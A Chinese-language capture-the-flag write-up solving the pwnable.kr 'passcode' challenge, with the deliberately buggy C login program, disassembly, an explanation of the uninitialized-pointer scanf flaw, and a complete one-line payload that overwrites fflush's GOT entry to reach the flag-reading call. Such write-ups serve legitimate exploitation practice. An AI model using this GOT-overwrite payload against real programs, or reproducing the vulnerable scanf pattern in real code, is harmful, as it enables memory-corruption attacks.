题目
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
题解
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
passcode1==338150 && passcode2==13371337
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : falca
Welcome falca!
enter passcode1 : 338150
Segmentation fault (core dumped)
正常输入会爆炸
仔细读源码, 发现scanf("%d", passcode);
有语法错误, 应该是scanf("%d", &passcode);
, 所以得用栈溢出覆盖passcode1, passcode2的地址, 这样才能读进去, 为了验证想法, 读一下汇编
.text:08048609 push ebp
.text:0804860A mov ebp, esp
.text:0804860C sub esp, 88h
.text:08048612 mov eax, large gs:14h
.text:08048618 mov [ebp+var_C], eax
.text:0804861B xor eax, eax
.text:0804861D mov eax, offset aEnterYouName ; "enter you name : "
.text:08048622 mov [esp], eax ; format
.text:08048625 call _printf
.text:0804862A mov eax, offset a100s ; "%100s"
.text:0804862F lea edx, [ebp+var_70]
.text:08048632 mov [esp+4], edx
.text:08048636 mov [esp], eax
.text:08048639 call ___isoc99_scanf
.text:0804863E mov eax, offset aWelcomeS ; "Welcome %s!\n"
.text:08048643 lea edx, [ebp+var_70]
.text:08048646 mov [esp+4], edx
.text:0804864A mov [esp], eax ; format
.text:0804864D call _printf
.text:08048652 mov eax, [ebp+var_C]
.text:08048655 xor eax, large gs:14h
.text:0804865C jz short locret_8048663
.text:0804865E call ___stack_chk_fail
name是存储在[ebp-0x70]
, 动调发现ebp在welcode()
和login()
的位置一样(其实不用动调也可以分析出来, 两个子函数由main调用, 都没有传参, 所以ebp在执行开始是一样的, 正因为ebp一样, 所以漏洞就产生了
.text:08048564 push ebp
.text:08048565 mov ebp, esp
.text:08048567 sub esp, 28h
.text:0804856A mov eax, offset format ; "enter passcode1 : "
.text:0804856F mov [esp], eax ; format
.text:08048572 call _printf
.text:08048577 mov eax, offset aD ; "%d"
.text:0804857C mov edx, [ebp+var_10]
.text:0804857F mov [esp+4], edx
.text:08048583 mov [esp], eax
.text:08048586 call ___isoc99_scanf
.text:0804858B mov eax, ds:stdin@@GLIBC_2_0
.text:08048590 mov [esp], eax ; stream
.text:08048593 call _fflush
passcode1存储在[ebp-0x10]
, ebp-0x70+100 - (ebp-0x10) = 4
所以buf只能覆盖到passcode1的位置, 即最后4字节可以修改passcode1的地址, passcode2覆盖不到, 所以单纯修改passcode的地址然后输入密码不能pwn通这个程序
看到login
函数
int login()
{
int v1; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]
printf("enter passcode1 : ");
__isoc99_scanf("%d", v1);
fflush(stdin);
printf("enter passcode2 : ");
__isoc99_scanf("%d", v2);
puts("checking...");
if ( v1 != 338150 || v2 != 13371337 )
{
puts("Login Failed!");
exit(0);
}
puts("Login OK!");
return system("/bin/cat flag");
}
有一个fflush(stdin)
, 读一下fflush汇编
(gdb) disas fflush
Dump of assembler code for function fflush@plt:
0x08048430 <+0>: jmp *0x804a004
0x08048436 <+6>: push $0x8
0x0804843b <+11>: jmp 0x8048410
End of assembler dump.
所以fflush会跳转到0x804a004
, 因为可以覆盖passcode1的地址, 所以相当于获得了一个任意地址4字节写的能力, 利用这个漏洞劫持地址到system("/bin/cat flag")
就能读出flag
这里修改的地址为0x080485E3 == 134514147
, 必须用十进制输入passcode1, 因为scanf(%d, passcode1)
是按十进制读入数据
python -c 'print "\x01"*96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode